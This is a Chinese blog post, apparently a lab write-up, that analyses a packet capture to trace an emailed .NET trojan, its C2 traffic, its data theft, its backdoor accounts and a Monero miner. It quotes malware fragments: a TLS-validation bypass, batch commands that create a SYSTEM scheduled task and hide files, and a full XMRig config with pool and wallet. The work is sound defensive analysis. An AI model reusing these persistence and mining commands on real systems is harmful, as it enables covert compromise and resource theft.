异常流量的代码审计

清酒 18 分钟 77 次读过

资产识别与协议分析


1、把流量导入到wireshark让流量罗列出来

2、识别攻击机:使用DHCP协议(动态主机配置协议-自动分配[IP地址、子网掩码、DNS服务器])进行查询查看主机名,在搜索框中输入:dhcp.option.hostname,点击流量包中找到Option:Host Name:找到里面的Host Name:即可找到主机名,在Source可以识别请求IP(即攻击机的IP)

image-20260908191147902

什么是dhcp.option.hostname?

dhcp.option.hostname:筛选出所有DHCP数据包中携带的“主机名”字段

为什么在第一条就能找到攻击机的主机名? 因为这是网络接入的必经步骤,攻击机启动连接交换机和路由器的时候首要任务就是获取一个可用的IP地址。

3、识别受害机:利用NBNS(NetBIOS名称服务-把计算机主机名解析成对应的IP地址)查询在受害机的流量包中输入nbns过滤通过时间发现192.168这种特征的流量包大概率是受害机的IP如169.254这类的大概是链路本地地址

<00>工作站/定向器 <20>服务器服务

image-20260908193341523

怎么用NBNS得到的这几个IP?

注册即公开:在开机或配置多网卡时,会主动通过NBNS协议广播自己的名称注册信息,其中明文携带了该主机当前配置的所有IP地址

4、识别服务器IP地址和域名:用smtp找到数据包info显示的.com的地址IP在Source的位置

image-20260908193959919

smtp在哪里输入,为什么?

在受害机的位置输入,因为受害机在收取邮件或发信时客户端会主动向该服务器发起TCP连接。

5、SMTP的端口号为25,POP3(邮局协议第3版-把邮件从服务器上的邮箱里,完整下载到你的本地电脑上)的端口号为110所以可以用tcp.port==25 or tcp.port==110的方式,先查看有没有信息确认这两个端口是否开启,确定开启后再在流量包里面

重要的几个端口信息

FTP - 20 21

SSH - 22

Telnet - 23

SMTP - 25

TFTP - 69

HTTP - 80

Redis - 6379

image-20260908200403910

6、这时候可以查找EHLO包的位置获取加密方式,而这个包的位置通常在C:EHLO后,这个是客户端主动发起的“扩展问候”命令标志SMTP交互开始

image-20260908202918248

怎么确定的STARTTLS?

STARTTLS 是 SMTP 协议中唯一用于协商加密的标准化命令字,服务器必须在 EHLO 响应中显式列出它,客户端才能知道可以使用 STARTTLS 命令将明文连接升级为 TLS 加密连接

应用层协议分析与身份恢复


7、查询DHCP服务器给受害机的默认网关IP可以使用dhcp协议找到首个ACK(确认)的报文

image-20260908203929188

为什么找ACK?

因为它是四步握手确认流程生效的最后一步

8、利用smtp协议可以在数据包中收集到邮箱的信息,一个看嫌麻烦就用是smtp && smtp.req.command == "MAIL",看到了两个人的各自邮箱

image-20260908204529061

这几个语句是什么意思?

smtp && smtp.req.command == "MAIL"这个语句什么意思? smtp:第一部分,告诉Wireshark只保留SMTP协议的数据包 &&:逻辑“与”,表示后面那个条件也必须同时满足 smtp.req.command == "MAIL":这是最核心的部分。 smtp.req 指的是SMTP协议的**请求(Request)**方向(即客户端发给服务器) command 是SMTP的命令字段 == "MAIL" 表示这个命令必须精确匹配字符串 MAIL

9、从受害者的数据包中获取攻击机和受害机的邮箱用户名密码:可以用tcp.port==110获取,一时间可能无法直接获得明文的账号以及密码,这时候就要注意是否有加密的内容,可以放进burp进行智能解码

image-20260908205426949

image-20260908205554098

10、如果你想获取关于攻击机向受害机发送的邮件信息可以使用smtp and ip.src==192.168.39.88 and smtp contains "MAIL FROM"

smtp:只显示SMTP的流量 and:逻辑“与”,(在这里表示三个条件必须同时满足) ip.src == 192.168.39.88 :源IP地址为192.168.39.88的数据包 smtp contains ”MAIL FROM“ :在SMTP协议的内容中,查找包含MAIL FROM这个关键字符串的数据包。

image-20260908210236501

11、如果想要查看数据包的大小可以关注SIZE值的参数,参数越大则邮件的体积大小越大。

向邮件服务器声明的“这封邮件的预计总字节数”

追踪指定的流量包想知道相关的信息可以点击那个流量包右键-->追踪流-->TCP Stream 可以获取到相关信息

12、进入追踪流之后可以查看一些重要的参数如:Subject(邮件主题)、MAIL FROM(发件人)、RCPT TO(收件人) 、Date(日期)等

image-20260908211644548

恶意代码提取与静态反编译


13、应用软件在对话中的SIZE值相对较大,找到了恶意文件的痕迹可以观察一下数据包的开头是否是 VqQ和特征然后进行解码保存为exe。

image-20260908212048569

windows: [Convert]::FromBase64String((Get-Content 导出的恶意base64的txt -Raw)) | Set-Content 恶意样本.exe -Encoding Byte

Linux: cat 你的文件.txt | base64 -d > 恶意样本.exe

image-20260909184223158

14、把病毒文件放进情报中心的沙箱,根据分析结果着重查看

SHA256哈希

image-20260909185201174

为什么找SHA256哈希?

因为SHA256是基于文件二进制内容计算出的哈希值,这几乎代表了这个软件的身份信息用来确认被攻击机中的具体病毒

创建的伪装的进程名:

横向的痕迹里几个主要事件PID

4624——网络登录

4672——特殊权限登录

7045——新服务安装

4698——计划任务创建

4688——进程创建

5140/5145——共享访问

本次实验

PID 2000 是那个木马被双击执行后的主进程。

image-20260909185911203

开发框架

PE子系统类型

image-20260909192316704

为什么要查看“开发框架”和"PE子系统类型"

开发框架:为了根据框架来选择相应的反编译工具,本次实验的病毒是基于.NET框架,那我就可以选择dnSpy或ILSpy

PE子系统类型:根据官方标准映射表转成十六进制可以看出因为是使用GUI所以是0x0002 为了分辨这个病毒在运行时所使用的环境是什么(比如是命令行还是图形界面)

17、对文件下进行反编译,查看恶意程序与C2服务器的通信(命令与控制服务器)使用的HTTP Contet-Type。

问: 为什么找HTTP Content-Type? 查看软件是怎么和服务器进行网络通信(破译网络请求的“数据格式”、帮助理解API接口逻辑、排查网络异常或反爬机制、逆向工程与安全分析)

image-20260910185735276

18、继续分析恶意文件查看恶意软件是如何忽略TLS证书校验的

image-20260910191731757

什么是TLS证书?这一步的目的是什么?

什么是TLS证书?:经过权威机构认证的数字文件:如何工作:服务器发送TLS给软件-->软件会检查证书-->检查通过后产生“对称密钥”-->后来通信用对称密钥加密

这一步的目的是什么?: 查看恶意软件是否使用伪造证书

{
				ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, (RemoteCertificateValidationCallback)((object a, X509Certificate b, X509Chain c, SslPolicyErrors d) => true));
				ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
				string text = G.X(G._c2);
				string[] array = new string[3]
				{

可见恶意文件使用了ServicePointManager.ServerCertificateValidationCallback 并返回 true

证明了两件事情:

1.它是有网络通信行为的

2.它的通信是加密的,使用HTTPS但是放弃了身份验证

19、然后查看软件的心跳间隔是多长时间,验证它是多长时间校验软件还活着没有被杀

image-20260910192941317

sleep的意义是什么?

为了躲过沙箱或安全人员的探测,休眠时间长可以耗死沙箱的运行时间让沙箱以为它是一个无害的程序。这是“沙箱规避”的证据

20、查看程序回连的服务器端口号是多少,探测这个服务器的端口使用情况

image-20260910193900568

发现可以在源代码里找到PORT字样后面有两个四位数的端口号一个是主端口一个是备用端口

21、用语句tcp.port == 8443 and tls通过过滤8443端口来查询TLS协议,查看TLS版本和密码套件编号

TLS版本在握手包的Record Layer(记录层)和Handshake Protocol(握手协议)头部的Version字段 密码套件编号在Client Hello(客户端问候报文中)

image-20260910172409944

为什么找TLS版本和密码套件编号?

1、确认解密条件:解密TLS流量要确认密钥交换算法是否匹配

2、关联分析:JA3指纹是由TLS版本+密码套件列表+扩展列表+椭圆曲线+椭圆曲线格式这五个字段拼接计算MD5得出的

3、行为画像(推测攻击者的对抗强度)

22、通过查看第一条TLS的握手信息可以看到JA3的指纹值

image-20260910172905795

为什么第一个TLS的数据包有A3的指纹

因为TLS的建立连接顺序是固定的,先是客户端到服务端传输Client Hello也就是第一个TLS包,再是服务器到客户端传输Server Hello也就是第二个TLS包,后面再进行后续秘钥交换和认证

23、使用sslkeys.log解密出C2的流量数据

这个是哪来的通过找TLS版本和密码套件、获取JA3的指纹值、获取TLS会话流量

获取会话密钥/流量密钥 通过 SSLKEYLOGFILE 环境变量获取(最常用)

这是最标准、最直接的方法,适用于你控制着客户端(如浏览器、curl)的场景。原理是让支持该功能的客户端在 TLS 握手成功后,自动将密钥材料写入一个日志文件。

如何获取TLS会话密钥/流量密钥?

环境变量

Windows 系统:

  1. 右键“此电脑” → “属性” → “高级系统设置” → “环境变量”。
  2. 在“用户变量”或“系统变量”区域,点击“新建”。
  3. 变量名输入 SSLKEYLOGFILE,变量值输入一个文件路径,例如 C:\ssl_keys\keylog.txt(请确保目录存在)。
  4. 点击“确定”保存。重要:设置后需要重启浏览器或相关客户端才能生效。

2. 让客户端产生流量

配置好环境变量后,正常使用浏览器访问目标 C2 服务器,或使用 curl 等工具发起请求。客户端会自动将本次 TLS 会话的密钥追加写入到你指定的文件中。

curl 示例:

bash

# 先设置环境变量,再执行 curl
export SSLKEYLOGFILE=~/tls_keys.log
curl https://c2-server.com/api

image-20260910194924972

攻击手段还原

24、分析C2(命令控制)服务器的POST请求

什么是C2?

核心组成: 被控端(运行在受害主机上的恶意程序或后门)、C2服务器(攻击者控制的服务器)、C2信道(双方通讯方式)、操作者(使用C2框架的人)

检查心跳包的POST路径

image-20260910200341427

这几个数据包都是隔几秒就发送一次,出现次数极多,内容相同都是WIN-5CNHCFAIMP9(被攻击机的机器名称)疑似心跳产生的数据包

image-20260910200554527

检查其他的路径数据包 用http.request.method == "POST" and http.request.uri == "/h"查看h路径

image-20260910202833215

可以看到这个路径传递的是主机名称、用户名称和版本信息

25.通过使用http contains "whoami"来查找攻击者的攻击痕迹

image-20260910204757960

找到No.51904下方的数据包发现有/r的路径

image-20260910205846074

使用Base64解码后疑似是攻击者使用指令获取的主机名称以及用户名,说明这个/r是回传的路径

image-20260910210114385

26.使用http contains "net user"指令来查询攻击者是否使用了添加用户的方式留后门

image-20260910210704483

这一条留了一个新用户

image-20260910210742405

这一条生成了一条隐藏账户

27.检查注册表的设置查看注册表路径和是否存在键值隐藏后门账户 使用HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList查找特殊账户目录

image-20260910212621158

可以看见发现了一个隐藏后门账户,后面还有完整路径、键名、类型和数值

账户信息存放在注册表的哪个位置?

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

28.这个病毒软件在使用的时候需要填手机号,我们看看是否有包含phone这个值的信息

image-20260911154739997

那就说明这个软件可能会把信息发送给服务器,我们可以查看反编译文件看看是否有相应的关键字

image-20260911170653442

可以看到用phone捕捉到了这个语句,变量info的语句里还有girl、idcard、addr、svc等标记,攻击者应该是通过PostR函数且通过Base64编码后发送回的控制端,

同时还注意到里面还有以下变量:

ps:调用自定义的Cmd("tasklist")函数,执行了Windows系统的tasklist命令,获取进程列表

sc:调用CapScr()函数进行屏幕截图,进行Base64编码加上“cam”前缀发送到控制端

cam:调用CapCam()函数调用目标的计算机上的摄像头进行拍照,进行Base64编码再加上cam前缀发送到控制端

kill:调用CleanPersist();可以用来清理恶意软件带来的系统持久化操作,比如删除注册表自启动项,

Environment.Exit(0):强制退出当前恶意进程

exec:回传远程执行的命令并且把执行结果回传,用三元表达式进行判断去掉开头的字符返回命令

表述它的三元表达式

检查指令的首字符是否用"e空格"来判断,如果是的话去掉前两个字符,如果不是的话就去掉5个字符,说明是exec开头。

验证:

29.通过查找带有Base64特征带有info变量语句的数据包即可找到受害者发送的数据。

image-20260911165553145

可以用Base64和字符编码GBK得出

30.通过带有Base64特征找出cam、info、ps、screen、exec

cam 摄像头图片

image-20260911172732306

screen 屏幕截图

image-20260911173201137

exec 命令执行结果

image-20260911173642363

31.屏幕截图回传的编码与格式,这个可以直接在反编译的源码中找到,通过查找CapScr()这个函数词来找。

image-20260911184032319

Windows API:BitBlt

代码中有一行:

G.BitBlt(intPtr, 0, 0, num, num2, dC, systemMetrics, systemMetrics2, 13369376u);
  • G 是 GDI32.dll 的封装类(通常由反编译工具自动生成)。

  • BitBlt 就是 Windows GDI 的位块传输函数。

  • 最后一个参数 13369376u 即十六进制的 0x00CC0020,对应常量 SRCCOPY。

  • 所以截图使用的核心 API 就是 BitBlt。

  • ImageFormat.Jpeg 明确指定了保存格式为 JPEG。

所以这一段的流程如下:BitBlt截屏->JPEG保存->Base64编码后通过HTTP POST回传。符合“数据外传”的流量特征

把BitBlt的dwRop(设备光栅操作码)的值进行计算,通过16进制得到常量值

image-20260911185339958

可以确定: dwRop = 0xCC0020就相当于SRCCOPY看到这个值,就能确定木马确实在调用 BitBlt 抓取整个屏幕,而不是做其他图像处理。

32.挖矿脚本下载的HTTP请求

查找攻击机在进行攻击时是否有设定计划任务的可能性:用http.request.uri != "/s"&&http.request,过滤掉没用的/s心跳包,把其他HTTP请求过滤出来

image-20260911191046907

非常可疑,WindowsUpdate.bat 通常用于解决 Windows 更新故障不应该出现在这个位置,疑似木马文件,直接追踪数据包看看内容

image-20260911192641343

解读一下这个木马的运作逻辑:

它定义五个变量

一、变量a:a=WindowsRuntimePlatformUpdate

二、变量e:e=%d%\svchost.bat

三、变量d:d=%APPDATA%\Microsoft\Windows\RuntimePlatform

四、变量f:f=%d%\config.json

五、变量e:%d%\svchost.bat

它被设置了两个命令:

检查计划任务:

schtasks /query /tn "%a%" >nul 2>&1 && exit /b 

意思是:查询名为WindowsRuntimePlatformUpdate,不管失败还是成功都不显示,如果这一条成功执行了,说明任务已经存在了,就退出当前批处理脚本,要是任务不存在脚本会继续往下执行

创建计划任务:

schtasks /create /tn "%a%" /tr "cmd /c %e%" /sc hourly /mo 2 /st 02:00 /f /ru SYSTEM /rl HIGHEST >nul 2>&1

创建计划任务 任务名称是WindowsRuntimePlatformUpdate 用cmd 执行e变量的内容(e变量运用了d)它的路径是:

%APPDATA%\Microsoft\Windows\RuntimePlatform\svchost.bat 计划以小时为单位运行 时间设定为2小时一次 开始时间 两点 如果任务已经存在了就覆盖它 以SYSTEM身份运行 使用HTGHEST权限 这个任务创建时不要输出,不显示任何提示

挖矿指令的配置

想要获取矿池的信息可以从以下方面入手

首先看XMRig的配置内容

(echo {"api":{"id":null,"worker-id":null},"http":{"enabled":false},"background":true,"randomx":{"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"numa":true},"cpu":{"enabled":true,"huge-pages":true,"priority":1,"max-threads-hint":50,"asm":true},"pools":[{"algo":null,"coin":"monero","url":"%b%:443","user":"49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ","pass":"RTPlatformSvc","tls":true,"keepalive":true,"daemon":false}]})>"%f%"

查看默认算法名:RandomX

为什么?门罗币(Monero)当前使用的工作量证明(PoW)算法就是 RandomX

观察pools里面关于coin、url、user、pass、tls、keepalive、daemon、algo这几位参数

coin:"monero"  挖矿的对象币种是门罗币
url:"%b%:443" 把b变量引入得到xmr.cryptonight-hub.com:443的矿池地址
user:"49XnPvDkmNQS..." 相当于这个币池的地址,挖到的币都归这里
pass:"RTPlatformSvc"矿工密码,用于区分矿机
tls:"true" 使用TLS加密连接矿池
keepalive:"true" 保持长链接
daemon:"false" 对矿池进行直连

自我保护


查看使用了什么方法隐藏自身文件(attrib +h)

这个程序出现了三次隐藏文件夹的操作

一、创建并隐藏目录 %d%

if not exist "%d%" md "%d%" 2>nul
attrib +h "%d%" >nul 2>&1

判断if not exist "%d%"是否存在,不存在则创建目录 错误丢掉静默执行 修改文件或目录属性 使用Hidden隐藏属性 静默 不显示任何输出

二、复制自身并隐藏

copy /y "%~f0" "%e%" >nul 2>&1

复制 当前正在运行的批处理脚本的完整路径 使用e变量进行覆盖 全程静默

给 svchost.bat 加上隐藏属性 全程静默

33.验证恶意投递程序的IP是否和C2控制端的IP相同

使用smtp contains "MAIL" and smtp contains "tiantian"(只显示 SMTP 协议数据包,并且这些包的 SMTP 内容里同时包含字符串 MAIL 和字符串 tiantian)

image-20260912002441255

可以确定攻击者的IP源是192.168.39.88

接下来视角切换到服务器

image-20260912002700073

可以看出攻击者使用192.168.39.88发起的攻击

34.我们再从受害者角度查看发起的C2连接是哪个

可以看到第一个SYN是使用的192.168.39.152

image-20260912003139497

35.检查心跳包的数量,判断机器被攻击的时长

检查心跳包还有什么作用?

评估攻击者的活跃度与操作频率(心跳包突然密集说明攻击者在进行活跃的交互) 推算C2通信的总数据量(评估数据泄露的体量)

image-20260912113020205

可以看到总共有689个心跳包,获取第一个包的时间再看最后一个包的时间

image-20260912113138034

可以看到总共经历了21分钟,时间从2026年6月20日的19:27到19:48

36.验证受害者的网卡IP,确认被攻击的IP,推测是否有横向移动的风险

image-20260912111200171

image-20260912111241511

有牛 写于 2026.09.29